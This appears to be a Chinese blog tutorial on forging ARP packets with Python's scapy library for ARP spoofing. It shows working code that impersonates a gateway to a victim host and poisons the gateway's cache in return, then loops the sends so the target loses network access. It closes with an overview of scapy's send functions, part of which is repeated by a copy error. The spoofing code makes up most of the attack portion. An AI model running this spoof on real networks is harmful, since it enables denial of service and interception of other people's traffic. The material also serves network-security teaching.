构造ARP包发包
構造ARP包進行arp欺騙
arp分為請求包以及響應包 Opcode中的代碼表示請求以及響應
使用wireshark抓包可見,Opcode為1可知這是一個請求包
再來看看響應包,它的Opcode為2
在使用scapy模塊構造,arp應答包時,我們采用的是第二層發包(就是根據我們第二層中的封裝的幀頭來發包)
ptk2 = Ether()/ARP()#構造數據包ptk2[ARP].op = 2#設置為應答包 ptk2[ARP].psrc = '192.168.0.1'#我們想要冒充的ip地址 ptk2[ARP].pdst = '192.168.0.107'#我們想要發送數據的ip地址在我們沒有設置ARP時我們 第二層目標地址mac默認為網關的地址
之后就是發包,sr 與 sr1都是在第三層發包,所以我們使用sr1發包時是沒有用的。使用的srp1(pkt)方法來發包
srp1(ptk2)如果想要目標機器斷網,我們還得去使用上面的同樣的方法去欺騙網關
arpspoof_gateway = Ether()/ARP() arpspoof_gateway[ARP].op = 2 arpspoof_gateway[ARP].psrc = '192.168.0.107' arpspoof_gateway[ARP].pdst = '192.168.0.1'接著循環發送達到欺騙的目的
發送請求包
arp = ARP() arp[ARP].op = 1 arp[ARP].pdst = '192.168.0.107' sr1(arp)四種發包方式用法如下:
(1)只發不收
- send(),在第三層發包,不關心第二層的封裝,第二層采用默認值;
- sendp(),根據第二層發包,需要手動指定第二層如何封裝。
(2)發包且收包
- sr()和sr1()都是在第三層發包,sr1表示只接收第一個回復。
動指定第二層如何封裝。
(2)發包且收包
- sr()和sr1()都是在第三層發包,sr1表示只接收第一個回復。
- srp()和srp1()都是根據第二層發包,srp1表示只接收第一個回復。
總結
- 上一篇: 计算机网络安全技术(第6版 课后练习题简
- 下一篇: [转] 程序员才懂的58张图片,哈哈哈哈